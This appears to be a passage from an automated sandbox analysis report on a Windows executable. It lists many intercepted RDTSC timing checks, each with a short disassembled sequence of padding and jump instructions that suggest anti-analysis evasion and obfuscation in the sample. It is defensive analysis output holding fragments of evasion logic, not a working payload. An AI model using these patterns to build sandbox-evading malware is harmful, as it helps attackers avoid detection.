Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8CFDE second address: F8CFF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF8BCD7C838h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8DDF2 second address: F8DE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF8BD1A4C85h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8DE0F second address: F8DE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F942D2 second address: F942D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F94429 second address: F9444C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FF8BCD7C836h 0x0000000d jmp 00007FF8BCD7C846h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F9444C second address: F94456 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8BD1A4C76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA0447 second address: FA044B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA044B second address: FA046F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 je 00007FF8BD1A4C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FF8BD1A4C7Ch 0x00000012 pop ecx 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007FF8BD1A4C76h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA046F second address: FA0473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA44AE second address: FA44B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA44B7 second address: FA44C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF8BCD7C836h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA400B second address: FA4018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FF8BD1A4C76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA4018 second address: FA4022 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8BCD7C836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA676F second address: FA6775 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FA6775 second address: FA6795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF8BCD7C83Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FB6057 second address: FB605C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FB605C second address: FB6062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FBC916 second address: FBC91C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FBD110 second address: FBD132 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8BCD7C842h 0x00000008 je 00007FF8BCD7C836h 0x0000000e jl 00007FF8BCD7C836h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF8BCD7C83Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FC26A1 second address: FC26D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF8BD1A4C7Eh 0x0000000c pop esi 0x0000000d push esi 0x0000000e push ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8BD1A4C85h 0x00000019 jne 00007FF8BD1A4C76h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FC4D0E second address: FC4D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FC4D16 second address: FC4D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE14D9 second address: FE14DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE14DD second address: FE14E7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF8BD1A4C76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE14E7 second address: FE14F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE1328 second address: FE1332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF8BD1A4C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE1332 second address: FE133C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8BCD7C836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE133C second address: FE1346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE1346 second address: FE134A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE355A second address: FE355F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE30DE second address: FE30F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF8BCD7C83Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jns 00007FF8BCD7C836h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE30F9 second address: FE30FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE324C second address: FE3256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE3256 second address: FE325A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE6E57 second address: FE6E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FE6E5D second address: FE6E63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFB55A second address: FFB55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFA62C second address: FFA630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFA630 second address: FFA634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFA634 second address: FFA63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFA63D second address: FFA675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF8BCD7C836h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jnp 00007FF8BCD7C842h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF8BCD7C83Dh 0x0000001b pushad 0x0000001c jl 00007FF8BCD7C836h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFA675 second address: FFA68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C83h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFA96C second address: FFA972 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFAD4F second address: FFAD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8BD1A4C76h 0x0000000a popad 0x0000000b pushad 0x0000000c ja 00007FF8BD1A4C76h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FF8BD1A4C86h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFF7C5 second address: FFF7CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFF7CB second address: FFF7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFF7CF second address: FFF7D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFFAE9 second address: FFFAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: FFFAED second address: FFFB03 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jo 00007FF8BCD7C840h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 1001478 second address: 1001485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 1001485 second address: 1001489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 1001489 second address: 1001495 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 1001495 second address: 1001499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F20939 second address: F2093D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56502EE second address: 5650312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF8BCD7C840h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650312 second address: 5650316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650316 second address: 565031C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 565031C second address: 5650322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650322 second address: 5650326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650326 second address: 5650353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF8BD1A4C7Fh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8BD1A4C80h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650353 second address: 5650362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650362 second address: 5650390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 call 00007FF8BD1A4C7Bh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007FF8BD1A4C7Fh 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650390 second address: 5650394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650394 second address: 565039A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56707B0 second address: 56707E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8BCD7C847h 0x00000008 mov ax, 070Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF8BCD7C841h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56707E5 second address: 567084A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF8BD1A4C81h 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 push esi 0x00000012 mov edx, 5979FF2Eh 0x00000017 pop ebx 0x00000018 pushfd 0x00000019 jmp 00007FF8BD1A4C84h 0x0000001e adc esi, 28017D78h 0x00000024 jmp 00007FF8BD1A4C7Bh 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov edi, 05F1BF66h 0x00000034 mov ax, dx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567084A second address: 56708AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8BCD7C845h 0x00000009 adc si, E8C6h 0x0000000e jmp 00007FF8BCD7C841h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 mov ch, dh 0x0000001b mov ah, 60h 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f jmp 00007FF8BCD7C83Bh 0x00000024 lea eax, dword ptr [ebp-04h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF8BCD7C845h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56708AA second address: 56708CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8BD1A4C7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56709B3 second address: 56709CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C844h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56709F8 second address: 56709FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56709FE second address: 5670A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A02 second address: 5670A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8BD1A4C82h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A20 second address: 5670A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A26 second address: 5670A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A2A second address: 5670A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A2E second address: 5670A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, 0BFDC121h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A42 second address: 5670A5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 6B1Eh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c leave 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8BCD7C83Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A5F second address: 5670A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A65 second address: 5670A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A69 second address: 567001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007FF8BD1A4DD1h 0x0000001a xor eax, eax 0x0000001c mov dword ptr [esp], 00000000h 0x00000023 mov dword ptr [esp+04h], 00000000h 0x0000002b call 00007FF8C1AC3B6Bh 0x00000030 mov edi, edi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FF8BD1A4C89h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567001D second address: 5670023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670023 second address: 5670027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670027 second address: 5670067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FF8BCD7C844h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FF8BCD7C840h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF8BCD7C83Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670067 second address: 567006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567006B second address: 5670071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670071 second address: 5670077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670077 second address: 567007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567007B second address: 567008B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov dx, cx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567008B second address: 56700D0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8BCD7C83Ch 0x00000008 add eax, 49548B88h 0x0000000e jmp 00007FF8BCD7C83Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 movzx eax, bx 0x00000019 popad 0x0000001a push FB285B1Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF8BCD7C847h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56700D0 second address: 56700E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56700E8 second address: 56700EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
